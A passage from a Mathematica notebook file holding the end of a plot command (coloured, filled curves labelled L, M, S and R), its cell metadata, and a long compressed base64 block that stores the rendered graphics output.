"\"\<L\>\"", ",", "\"\<M\>\"", ",", "\"\<S\>\"", ",", " ", "\"\<R\>\""}],
"}"}]}], ",",
RowBox[{"Filling", "\[Rule]", "Axis"}], ",",
RowBox[{"PlotStyle", "\[Rule]",
RowBox[{"{",
RowBox[{"Red", ",", "Green", ",", "Blue", ",", "Gray"}], "}"}]}]}],
"]"}]}], "Input",
CellChangeTimes->{{3.839443174827423*^9, 3.839443196909202*^9}, {
3.839443400964836*^9, 3.8394434479246693`*^9}, {3.839443716857606*^9,
3.839443721925293*^9}, {3.839450416174512*^9, 3.839450417142445*^9}},
CellLabel->"In[24]:=",ExpressionUUID->"4b91fc06-decf-4901-8565-882e55398b52"],
Cell[BoxData[
TemplateBox[{GraphicsBox[{{},
GraphicsComplexBox[CompressedData["
1:eJztnfVfFG/09hcTGxURAwUTE2wU47KxUQxsTDBZA93emdm0cFVEbGzsFQt7
bewVC8UAMcBAbDCfhT3D5+s89Q8sv/h6v0CYM2fnvs+5zrnneI0PHzSpkEgk
6lRaJMr7N/8rRIJWj8oFxjT375TPYgk63Hy4wyiBnRkJKmdOOfjtVVc7myRI
TJ6Y0eJnTzvHShDZTPZy/42+djZL0HvMM3WF9gPtbJHg4ePuQ/ULB9vZKkHR
95jQc2ywnVMlUEX2+xF1aZSdsyUYWDdpwNqXIXYWSVHk8c8Z8ccn2NlFihp1
9QNErybb2VOKoWHyAZg51c6+Ukyf7/t08qiZdoYUHfwzGu0ePcvOgVIE+O3s
1OT6HDuHSHG0siGzGTOP7Jei3oZO+8VSKdkvRdNHpYtuj1eQ/TYu3Ltq2fIM
2S/F6avhpSIes2S/FIZKt2sXOagh+6Xgqk64Xmi5juyXInBx49UTpAayX4qL
1Yt47J26gOyXonPQpJuZYYvIfhl2sa/mZM1bQvbLsKzcvQ8epqVkvwwNmlS4
0uO+ieyX4drvC0cnpy0j+2U4nnxokPOL5WS/DJvLVLMcebiC7Jfh4/CMqGUX
osh+GXrX2zFPv3Ml2S/DDLb/oF2R0WS/DKL9DW23fBXZL8OS3SlvNPNiyH4Z
vKYNa16eWU32y3Bi1rq6FaLXkP0yhCU/He1xZC3ZL8O9Uqv17Z+sI/tlaLPZ
0+O88wayX44OXWY/OOq3keyX41XIsuM5rWPJfjlqud1vfvousa8cbV77B3Wd
t4nsl2NRtaMxG6ttJvvleDZ9zgTZOeIQOTZqPA5LQreQ/XJ86Br18lGxrWS/
HKNlb3pK1xGb5Jh+NMHLq+42sl8O5YXcl082E5vlcJlqTZtWZTvZL8fme3Xu
/FpMbJXj7Z8DLh6FdpD9crDrFlXdoSDOlmNW19cmn1/EIgX6r4wKcVPHkf0K
ZG6IWBJdeCfZr8A3LfPgnIHYVwG39v63IkvuIvsVKLeiUlj1pcSBCjx+9cDz
SZXdZL8CrnvclLv2E4sVMFVruevckD1kvwLasybf0PJ7yX4Fxs8e7o9XxLEK
vBl3vunLB/vIfgU0ty6unPJmP9mvgPqGpmjnZWayXwHPGUm1f3U+QPYrUOwj
6/G3aDzZr0B45nNmxyNikRLWT6tm7Tt5kOxX4ma3WqpycYfIfiV29V1sORhz
mOxXYqy48u7KS46Q/Ur8GX9k4hDtUbJfCZ+KbyKnKhPIfiUe38XntvOPkf1K
3JbUMn4WHyf7lZh4oF/DqtNOkP1K1H8SnVg09CTZr0TgwqFZRSefIvuVGFnq
oPXmlNNkvxKDZ6W7fZ5zhuxX4uWHpwMndLGQ/Uq4Xo/hWt0kzlYi6330C2b0
WbJfhVlDHs7vnk3sosKPpJSNi/TnyH4VhlTs9qS453myX4XdK1q4zj9JDBXi
akwRjxx5gexX4aSpbLlxv4hDVOh+fGOQaeNFsl+FiCt+PeJ7XiL7VajyqsiM
2TnEJhUCZ4hr/Th8mexXobXX3mYZ2kSy33Z9t9bUVE+5Qvar0KGsJrfRxKtk
vwqGCx2iO869Rvar4GMM6Hci5jrZr0L+r7PeIPvVeNI9ZvOoqrfIfjXCufA1
Hf2tZL8aLR9M2brtE7GvGpFvn31dffA22a/G+k0J6f1USWS/Gjfapf98PugO
2a/GVLew+QHN7pL9ahT7PCxxVJV7ZL8aQcXKhmWWvE/2q7Gy27fO0UUfkP1q
HL0telqoRDLZr8bm2x4Xbro+JPvV8Pl+ZSDj/YjsV4MbvNBjSdcUsl8N9eb4
cf0mPSb71fjhXbupaMkTsp/B9LHweXzsqZ2dGZSb2OHwjzfP6H4wKPbp3ae9
S1Pt7M7gvpPL/K8N0+j+MIgsquu8+hKxN4OU73Fnxox7TveLwQfPedutucR+
DMZsbPs2KDKd7h+DIYEDvzbyeGHnAAa/c/os+rGVOJDBgYH3w+vVe2nnYAa3
Jk2tcHITcQiDdvMCF7x1f2XnMAbmK1W/uiwhFjPwcR81p+dfYgmDo9L0rb7h
r+n+M9gzq7WH02NiIwPXg2NKv+yWQf5gsNbzTUfRTuIYBlVnDKnwsHgm+YfB
whuXD28aTxzHYGJU6JiyJ4jNDCTjph35VOGNnRMYLB24Qdp2OrGFwaCjB/e3
TyROtP2+IkE39tR9S/5kcOpPnY7zOeJkBh41zuVMeUycyiBnYJmfHZq9s3OG
7f+Ldsz/qCLOZhCd0fig80XiHAZ+bOahmYXfk/9ZZJTf8tqtHbEzi6XbZc3/
hhG7sDj87NGC5SZidxYvwiL3/Ion9mTxs9amJq+TiL1Z9D4orV7sM7Evi93z
EzyqumWR/1n8YYoXc+lIDBaivAdgCnEAi7CDb+YcXkkcyGLJqpkVNBbiYNv/
HxvxIuA1cQiLfpb9y+o4fyD/sxhRvtXt17WJxSz27C502L09sYRFnYRl8d0H
ETMsjgW1C/4bSmxk0frapC1zVMQmFhVVOze2WUkcY+Ous5vP2k0cyyL9Vz/v
bhbiOBZNI6/2u5tEbGbxrZ7+xcTnxAksCn08rjqbRWxhoR+2vP2D78SJLJ7v
/Ry+6jexlcW4oNcDP/4lTmahW1my4a4/xKks3G+2um7NIc5gEeI1Z1Lge+Js
FhHXyn4sl0KcY/v91/e/Ep0lFnH4tbDVqBcbiJ05sO++Zi2dT+zCwfXQlbQV
/YndOWwpvNwcXp/Yk8PAsOHflxYl9uYQUevs4BZvyT++HJq2zYoqe5/3P4eb
6b4xZ87x/udQqUbLE1l7ef9zKGHptK13FO9/Dpcn2XbQObz/OTSqNHjw7968
/znYHv5ho6oTh3GYkDWiS8cM+vyJOZT2X9xLvZ9YwuHFl6+KG7OJGQ7a7t3X
9W9ObOSwfNSfrj/e0/Ni4tCu1rNtd7cRx3CYvNl5Z8pw4lgOg1vv2dm4JHEc
h4z+5r/tjtLzaeZg/Xj7+eJxxAkcbJsBNpcgtnDorcgq8nM///xzaF3EZvFg
YiuHMZ865Z74TutJMod+Ps2iM1cRp3L4HXpj6ZmWxBkcPjuxN7feoPUqm8Om
hxHh3ccT53CoHBD4y/0zrXciDcRRJ9tdZoidNdA2uLrtYyliFw1erXw7o8VK
Wj/dNUiqqunv7EHsqUG3VnWHG7bQeuytgfrszOQj3sS+GjxdmuKzcQ+t534a
3J14KaW3DzE02F/y7vhsM+0HARpgStzAgObEgRoMfinvUesQ7R/BGhyf/OlG
6zbEIbbf5zIkp8VJ2n/CNKgeXUw1uCuxWIPwh15/xl2j/UuiwdDP1Zd9GETM
aNCzejw79wDtd0YNOqyzzB1xlPZDkwblX8RqVx+h/TJGA31E+pNlB2g/jdWg
X7PinXvupv02ToOR774Nn7Sd9mOzBm/D8z7RtF8naHAkNLpI3E7azy0a7Gy+
+ETnQ7TfJ2qwLuiKKPAixQNWDfwmzTxd/gnFC8kabOo1vtexnxRPpGqwvoLL
CrEXcYYGsoXVa83sT/FHtgajVszs84Kj+CRHg0G27efdaYpfRFqg5ecXawoR
O2vhlbfd9aN4x0ULv43thjboQPGRuxaHMtaXTHhN8ZOnFm/Py7YM5eMrby0u
9xr3NL0vxV++Wrye+aBPUBGKz/y0uKQr7DXcQvEctFBGDIl101C8F6CF3vT5
T6f+FA8GatG2p4fHsNoUPwZr8WVr36lhhfn4Uov4sj2HZWZRvBqmRXbr8HWu
ryieFWtxKtJvYuFMin8lWsTOaPV28QeKlxkt5Cl9dZI6FE8btRj3q2XWjXCK
v01auO0YYYu4KV6P0WJz1OFPbXpQPB+rRWkny4HQWxT/x2kxZ8X4ZeJplB+Y
tSg6MbfImiqUPyRo8bn4GKPvQ8o3LFrMcp26itlJ+UiiFqU+zC7/bAHlL1bb
zzceNDtGSvlNshYlPS8dfvuB8qFULV6M+LPE4Ez5UoYWbbhc6y5/yreytVDs
G7mztJHytxwtFnY/t3fWOz7/0yGr3zn//aGUPzrrkD73/eRNOZSPuuhwaOS1
iX4bKH9118G8/ql85jDKbz11eDpv07H+tSkf9tZhctEIxs2Jz5d16FB95u2K
qevJ/zpYdi+s9Ogp5efQ4Uv/oo8//6J8PkAHj/67Ll/2o3w/UIet5XY8yV1K
+kCwDmeM5T1Gi0g/CNHh6sK0NyIj6Q1hOvyc8v5ym7qkR4h12HL26I+fvH4h
0SHhwMNlb/xJ32B0SGs3bdTWr4vJ/7brHVyi6MiUheR/He4vz2y05Z2R/K+D
7nfGy7P1SV+J1WHcpfBJLwykv8TpUG1ItfstnLXkfx2s3qN/rNrKkf91GNjB
GLRuOOk5Fh2SvD+NiapDek+iDiWSv8b1cVaR/3Wo+D1wgTFLTv7Xoe/cFj5X
ckk/StWhXaWUqd/rS8j/OiSH/673aB7pTdk6cKvKX2TT55L/dThgkL2pN430
KZEe4uHTfUNKzSb/67ElLrdP8XNi8r8evhHM109Vw8n/esSpXJa+fDid/K9H
r7mprzacIX3MW49zz3Y32XE1jPyvh+T7g9GTc0lP89Pj18tyT2r0nkT+16OW
f+m2Obz+FqBHs5tem1x7jyf/6/GnaYkta7+SXhesR+ZJbQX1/LHkf9v1u2bd
qtNqNPlfD9mh+m1QcyT5Xw9zRI/XHZsNJ//rkZulrlQ1dBj5X49RRSZY+5wa
Qv7XI2z310+5vqQnmvQ4+KvRx02WQeR/PapPDIxIm0r6Y6weQzKe3evSNJD8
r0d8rzVVnlXoT/7Xo3vRREX81z7kfz1WT42eXM2pN/lfj9a735cb1SyA/K9H
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
kv5iVWPDykPPq5UkvSZVjWeVzv4dGk+crcaiHXkFItJ7RAw6lzs8w70o6UPO
DOK5Z3r3/cQuDLY3Su7RfjivNzFIb/Gw04DCpEd5MkhakCeQE3szaH4lcXhy
EOlbvgxmBAcNd/1G7MfA8Kzf0Xcm0sfAoMrF2X12e5G+FsAgsftho/d24kAG
pmbzm3jVJH0umMHEWtseto8kDmEwLKoCN+QrcRgD2w9/mT6U9D8xg2J9Ipx8
DhJLGPSddid5TCleb2TQbM3K913H8Hojg/BGp1pX201sYvB5RIkndT8SxzA4
iV5sUV/SN2MZPCyqmZYVRhzHgPWEPnI9sZnBqLx0/RZxAoOY3LKq5yJeb2bg
lLNj8ILmvN7M4GmhEgtrTuD1Ztv9HVp3mdLE680M/AcHLY9I4PVmBjUWzRh0
O5nXmxl8Pd49ZM8HXm+22Z/cc8e+X7zezCD0/iA84vVrEYsXvTuU6pLL680s
tq8Z3scpk9ebWVSYPurvvlu83szixpVFfS37eb2ZhbT258Sai3m9mUWl9rpR
O3n93pdFoYbVOzfsTuzH4sjJ2adm1CMGC0mIKK1rCeIAFobzSZalb/6rN+zs
26x458v/1RuaVlv/OWjdf/WG9psebLwQyuvNrF2ubEQstl3/44CHtTJ5vZkF
O8/gWngr738Wy94rOrUq8D+L0B6dqvavwvufRX/vbhavu7zezGJbSoVjqYt5
vZnFhbqX1yd15vVmFou1R9b1+cjrzSxCVrR647WG15tZTN542ftWe15vZnHp
ieeIRo94vdn2+zVf1WXn8Hozi81lLMW6ORMns3ieWHhZ9zW83sziYLfQ1d29
eb2ZRdrops/9D/B6M4tJQz+I/VvyejML46lAyzwzrzdzGOh2+vT9urzezGHj
8Aqx26PpeXfhcL7xoTlrivLPP4e8bpEmEbQ+eHLYMr9h6obXtJ54czh4a0JU
6BhiX44+n7T++HHo0X1d//ghfL2Rg8Ht4c3vd2j9CuCQ3XL1xyODiAM51BP9
jWp4m9a7YA6pvrc9iw4gDuHw64U3XK/TehnGwf/83eh2AcRiDtUPn/tySk/r
q4TDvlDny43l/PrLYWbzXaXTZ9L6bORQ6u2lE7Un0Pptst2fp5dvVx9O63sM
h3WV659+NJDW/1ib/cU7FmvUn/aHOA6rnEIbDO/P14c5LMwLfwbR/pLAoZLp
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
